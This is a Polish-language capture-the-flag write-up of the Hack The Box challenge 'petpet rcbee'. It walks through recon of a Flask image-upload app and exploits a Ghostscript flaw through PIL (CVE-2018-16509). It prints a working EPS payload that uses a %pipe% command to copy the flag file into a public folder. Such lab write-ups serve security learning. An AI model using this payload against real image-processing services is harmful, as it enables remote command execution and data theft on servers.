RCE w ulu pszczół na przykładzie petpet rcbee – Hack The Box

Bees are comfy 🍯
bees are great 🌟🌟🌟
this is a petpet generator 👋
let’s join forces and save the bees today! 🐝

Po wejściu na stronę widzimy słodką animację pszczółek oraz możliwość przesłania plików.

Nie możemy przesłać plików o innych rozszerzeniach niż jpg, png i jpeg. Kiedy już zdjęcie zostanie przesłane, jest ono podmieniane z istniejącą wcześniej fotografią pszczółki.

Następnie przyjrzyjmy się zastosowanym technologiom na stronie za pomocą narzędzia wad.

┌──(bugspace㉿kali)-[~/.local/bin]
└─$ wad -u http://ip:port/ 
{
    "http://ip:port/": [
        {
            "app": "Flask",
            "ver": "2.0.1",
            "type": "Web Application Frameworks,Web Servers"
        },
        {
            "app": "Python",
            "ver": "3.9.5",
            "type": "Programming Languages"
        },
        {
            "app": "jQuery",
            "ver": "3.5.1",
            "type": "JavaScript Libraries"
        },
        {
            "app": "Bootstrap",
            "ver": "4.5.0",
            "type": "UI Frameworks"
        },
        {
            "app": "Google Font API",
            "ver": null,
            "type": "Font Scripts"
        }
    ]
}

Przyszedł czas na wyszukiwanie informacji o podatnościach związanych z przesyłaniem plików. Pierwszą informacją, która może nas wprowadzić w błąd, jest używanie jako frameworka flask. Szukanie podatności związanych z przesyłaniem w nim plików na niewiele się zda. Sprawdzamy więc informacje związane z jQuery i natrafiamy na ten artykuł. Idąc tym tropem znajdujemy repozytorium z gotowym payloadem do wykonywania zdalnego kodu na serwerze.

Po ściągnięciu plików aplikacji ze strony htb wiemy, że główny folder aplikacji to „/app”. Mówi nam o tym plik Dockerfile.

# Setup app
RUN mkdir -p /app
WORKDIR /app

# Add application
COPY challenge .

Idąc katalogami do góry (do folderu ze statycznymi plkami), nasza ścieżka absolutna wygląda w następujący sposób:

/app/application/static/petpets/FILENAME

Teraz pozostaje nam tylko nieco zmodyfikować payload, aby na początku sprawdził plik „flag” (nazwę znamy ze ściągniętych plików) i przekierował jego zawartość do nowo utworzonego przez nas pliku myoutput.txt w folderze ze statycznymi plikami.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat /app/flag > /app/application/static/petpets/myoutput.txt) currentdevice putdeviceprops

Po przesłaniu zdjęcia z payloadem i wejściu w plik pod linkiem http://ip:port/static/petpets/myoutput.txt otrzymujemy flagę.

Źródła

https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
https://blog.detectify.com/2018/12/13/jquery-file-upload-a-tale-of-three-vulnerabilities/
https://github.com/Mr5m1th/POC-Collect/blob/master/ImageMagick/Ghostscript_9.23/README.md
https://www.vulnspy.com/en-jquery-file-upload-below-v9.x-rce/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.